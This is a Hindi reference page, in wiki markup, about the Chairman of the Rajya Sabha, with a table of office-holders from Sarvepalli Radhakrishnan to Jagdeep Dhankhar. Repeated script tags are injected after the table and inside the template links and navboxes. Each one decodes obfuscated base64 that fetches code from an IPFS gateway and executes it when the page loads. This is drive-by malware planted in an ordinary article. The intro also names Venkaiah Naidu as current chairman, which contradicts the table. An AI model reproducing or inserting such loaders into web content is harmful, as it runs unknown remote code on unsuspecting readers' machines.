राज्य सभा के सभापति (अंग्रेज़ी: Chairman of the Rajya Sabha) राज्य सभा की कार्रवाई के प्रमुख होते हैं। राज्य सभा के पदेन सभापति भारत के उपराष्ट्रपति होते हैं। वर्तमान में वेंकैया नायडू राज्य सभा के सभापति हैं। राज्य सभा के सदस्यों के विपरीत राज्य सभा के सभापति का कार्यकाल पाँच वर्षों का ही होता है। लोक सभा के विपरीत राज्य सभा का सभापति अपना इस्तीफा उपसभापति को नहीं, बल्कि राष्ट्रपति को देता है। राज्य सभा का पहला सत्र 13 मई, 1952 को हुआ था। राज्य सभा में 245 सदस्य होतें हैं, जिनमें से 12 सदस्य भारत के राष्ट्रपति द्वारा चुने जाते हैं।
यहाँ यह तथ्य विशेष रूप से उल्लेखनीय है कि- भारतीय संविधान के अनुसार लोक सभा की तरह राज्य सभा का भी एक प्रमुख होता है, किन्तु उसे राज्य सभा अध्यक्ष की बजाय सभापति कहा जाता है। सदन की कार्य प्रणाली का नियंत्रक वही होता है। भारत का उपराष्ट्रपति राज्य सभा का पदेन सभापति होता है।
सभापति
भारत में संसदीय प्रणाली के अंतर्गत नियुक्त किये गए राज्य सभा के सभापतियों के नाम व कार्यकाल निम्न प्रकार हैं-
क्रमांक
|
नाम
|
कार्यकाल
|
दल / पार्टी
|
चित्र
|
1.
|
सर्वपल्ली राधाकृष्णन
|
13 मई, 1952-12 मई, 1957
|
निर्दलीय
|
|
(1.)
|
सर्वपल्ली राधाकृष्णन
|
13 मई, 1957-12 मई, 1962
|
निर्दलीय
|
|
2.
|
ज़ाकिर हुसैन
|
13 मई, 1962-12 मई, 1967
|
निर्दलीय
|
|
3.
|
वी. वी. गिरि
|
13 मई, 1967-3 मई, 1969
|
निर्दलीय
|
|
4.
|
गोपाल स्वरूप पाठक
|
31 अगस्त, 1969-30 अगस्त, 1974
|
निर्दलीय
|
|
5.
|
बी डी जत्ती
|
31 अगस्त, 1974-30 अगस्त, 1979
|
भारतीय राष्ट्रीय कांग्रेस
|
|
6.
|
मुहम्मद हिदायतुल्लाह
|
31 अगस्त, 1979-30 अगस्त, 1984
|
निर्दलीय
|
|
7.
|
रामस्वामी वेंकटरमण
|
31 अगस्त, 1984-24 जुलाई, 1987
|
भारतीय राष्ट्रीय कांग्रेस
|
|
8.
|
शंकरदयाल शर्मा
|
3 सितंबर, 1987-24 जुलाई, 1992
|
भारतीय राष्ट्रीय कांग्रेस
|
|
9.
|
के. आर. नारायणन
|
21 अगस्त, 1992-24 जुलाई, 1997
|
भारतीय राष्ट्रीय कांग्रेस
|
|
10.
|
कृष्णकान्त
|
21 अगस्त, 1997-27 जुलाई, 2002
|
जनता दल
|
|
11.
|
भैरोंसिंह शेखावत
|
19 अगस्त, 2002-21 जुलाई, 2007
|
भारतीय जनता पार्टी
|
|
12.
|
मोहम्मद हामिद अंसारी
|
11 अगस्त, 2007-11 अगस्त, 2012
|
भारतीय राष्ट्रीय कांग्रेस
|
|
(12.)
|
मोहम्मद हामिद अंसारी
|
11 अगस्त, 2012-11 अगस्त, 2017
|
भारतीय राष्ट्रीय कांग्रेस
|
|
13.
|
वेंकैया नायडू
|
11 अगस्त, 2017 से 10 अगस्त, 2022
|
भारतीय जनता पार्टी
|
|
14.
|
जगदीप धनखड़
|
11 अगस्त, 2022 से पदस्थ
|
भारतीय जनता पार्टी
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
संबंधित लेख
[[Template:संसद<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>|देखें]] • [[|वार्ता]] • [{{fullurl:Template:संसद<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>|action=edit}}बदलें] <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> संसद |
---|
| |
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
[[Template:भारत गणराज्य<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>|देखें]] • [[|वार्ता]] • [{{fullurl:Template:भारत गणराज्य<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>|action=edit}}बदलें] <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> भारत गणराज्य |
---|
| राज्य | | | केंद्रशासित प्रदेश | | | प्रदेशों की राजधानी | | | संसद | | | राष्ट्रपति | | | कार्यवाहक राष्ट्रपति | | | प्रधानमंत्री | | | उप प्रधानमंत्री | | | चिह्न-प्रतीक | | | भाषा | | | भारत रत्न | | | राष्ट्रीय दिवस | |
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>